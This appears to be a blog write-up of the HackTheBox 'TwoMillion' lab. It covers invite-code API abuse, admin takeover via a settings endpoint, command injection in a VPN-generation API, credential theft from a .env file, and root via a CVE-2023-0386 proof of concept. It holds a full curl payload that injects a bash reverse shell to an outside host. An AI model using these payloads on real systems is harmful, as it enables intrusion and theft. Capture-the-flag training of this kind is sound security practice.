TwoMillion (HackTheBox): API Manipulation → Command Injection → Kernel Exploit
Nmap-scan
First, let’s initiate a quick scan utilizing nmap.
We need to include “2million.htb” in our /etc/hosts file
echo "10.10.11.221 2million.htb" >> /etc/hostsTrying to have access
Upon visiting the website, I discovered it’s an outdated version of the HackTheBox platform. To gain access, I attempted to log in using the default credentials, but unfortunately, I received an error message indicating that the user not found.
While exploring the website, I discovered that I can join the platform by obtaining an invite code.
http://2million.htb/invite
I came across a JavaScript code that contains some intriguing elements.
/js/inviteapi.min.js
I am interested in generating my own invite code as well.
I will examine the endpoint “/api/v1/invite/how/to/generate” to gather more information.
After decoding the ROT13 cipher, we discovered the method to generate our own invite code.
Let’s proceed with generating our invite code using the discovered method
Since the invite is encoded using base64, it should be easy to obtain one.
curl -s -X POST http://2million.htb/api/v1/invite/generate | jq .data.code -r |base64 -dGain administrative
Upon logging in with the provided invite code, I have started exploring additional API resources to discover more useful functionalities. Fortunately, I have come across some intriguing findings that piqued my interest. “/api/v1”
curl -s http://2million.htb/api/v1 -H "Cookie: PHPSESSID=b0akpjn8hlj8h2085dv674tgkv" |jq .{ "v1": { "user": { "GET": { "/api/v1": "Route List", "/api/v1/invite/how/to/generate": "Instructions on invite code generation", "/api/v1/invite/generate": "Generate invite code", "/api/v1/invite/verify": "Verify invite code", "/api/v1/user/auth": "Check if user is authenticated", "/api/v1/user/vpn/generate": "Generate a new VPN configuration", "/api/v1/user/vpn/regenerate": "Regenerate VPN configuration", "/api/v1/user/vpn/download": "Download OVPN file" }, "POST": { "/api/v1/user/register": "Register a new user", "/api/v1/user/login": "Login with existing user" } }, "admin": { "GET": { "/api/v1/admin/auth": "Check if user is admin" }, "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" }, "PUT": { "/api/v1/admin/settings/update": "Update user settings" } } }}I will attempt to update my settings
"PUT": { "/api/v1/admin/settings/update": "Update user settings" }
Great!
Having a RCE
Now that we have administrative access, we can examine :
"admin": { "GET": { "/api/v1/admin/auth": "Check if user is admin" }, "POST": { "/api/v1/admin/vpn/generate": "Generate VPN for specific user" },It seems that after spending some time searching, I have discovered a vulnerability in the username parameter. This is a significant finding as it allows you to inject commands and potentially gain unauthorized access.
/api/v1/admin/vpn/generate
Now that we have identified vulnerability, we can exploit it
curl -X POST http://2million.htb/api/v1/admin/vpn/generate -H "Cookie: PHPSESSID=b99sapscujo3dg9l7c454tt4fm" -H "Content-Type: application/json" -d '{"username":"$(bash -c 'bash -i >& /dev/tcp/10.10.10.10/9001 0>&1')"}'Congratulations! HAHA
Privilege
After logging in, I discovered an interesting file named “.env”. (A .env file is typically used to store sensitive information)
ls -latotal 56drwxr-xr-x 10 root root 4096 Jun 8 21:40 .drwxr-xr-x 3 root root 4096 Jun 6 10:22 ..-rw-r--r-- 1 root root 87 Jun 2 18:56 .env-rw-r--r-- 1 root root 1237 Jun 2 16:15 Database.php-rw-r--r-- 1 root root 2787 Jun 2 16:15 Router.phpdrwxr-xr-x 5 root root 4096 Jun 8 21:40 VPNdrwxr-xr-x 2 root root 4096 Jun 6 10:22 assetsdrwxr-xr-x 2 root root 4096 Jun 6 10:22 controllersdrwxr-xr-x 5 root root 4096 Jun 6 10:22 cssdrwxr-xr-x 2 root root 4096 Jun 6 10:22 fontsdrwxr-xr-x 2 root root 4096 Jun 6 10:22 images-rw-r--r-- 1 root root 2692 Jun 2 18:57 index.phpdrwxr-xr-x 3 root root 4096 Jun 6 10:22 jsdrwxr-xr-x 2 root root 4096 Jun 6 10:22 viewscat .envDB_HOST=127.0.0.1DB_DATABASE=htb_prodDB_USERNAME=adminDB_PASSWORD=S************3Upon inspecting the “.env” file, I found that it contains admin credentials
cat /etc/passwd | grep shroot:x:0:0:root:/root:/bin/bashwww-data:x:33:33:www-data:/var/www:/bin/bashsshd:x:106:65534::/run/sshd:/usr/sbin/nologinfwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologinadmin:x:1000:1000::/home/admin:/bin/bashadmin is an user
I will attempt to switch to the “admin” user by using the provided pass
we have gained access ‘YoHOO’
While conducting further research, you came across some intriguing findings indicating the presence of a potential CVE
admin@2million:/var/www/html$ find / -perm -u=s -type f 2>/dev/null |grep "tmp"/tmp/cve/ovlcap/upper/file/tmp/.troll80lvl/CVE-2023-0386/ovlcap/upper/file/tmp/CVE-2023-0386-main/ovlcap/lower/file/tmp/CVE-2023-0386-main/ovlcap/upper/fileCVE-2023-0386 POC: Link to CVE-2023-0386 Repository
By following the POC, I have acquired the ability to escalate the privileges to the root user level.
root@2million:/var/www/html# whoamirootroot@2million:/var/www/html# iduid=0(root) gid=0(root) groups=0(root),1000(admin)Share Article
If this article helped you, please share it with others!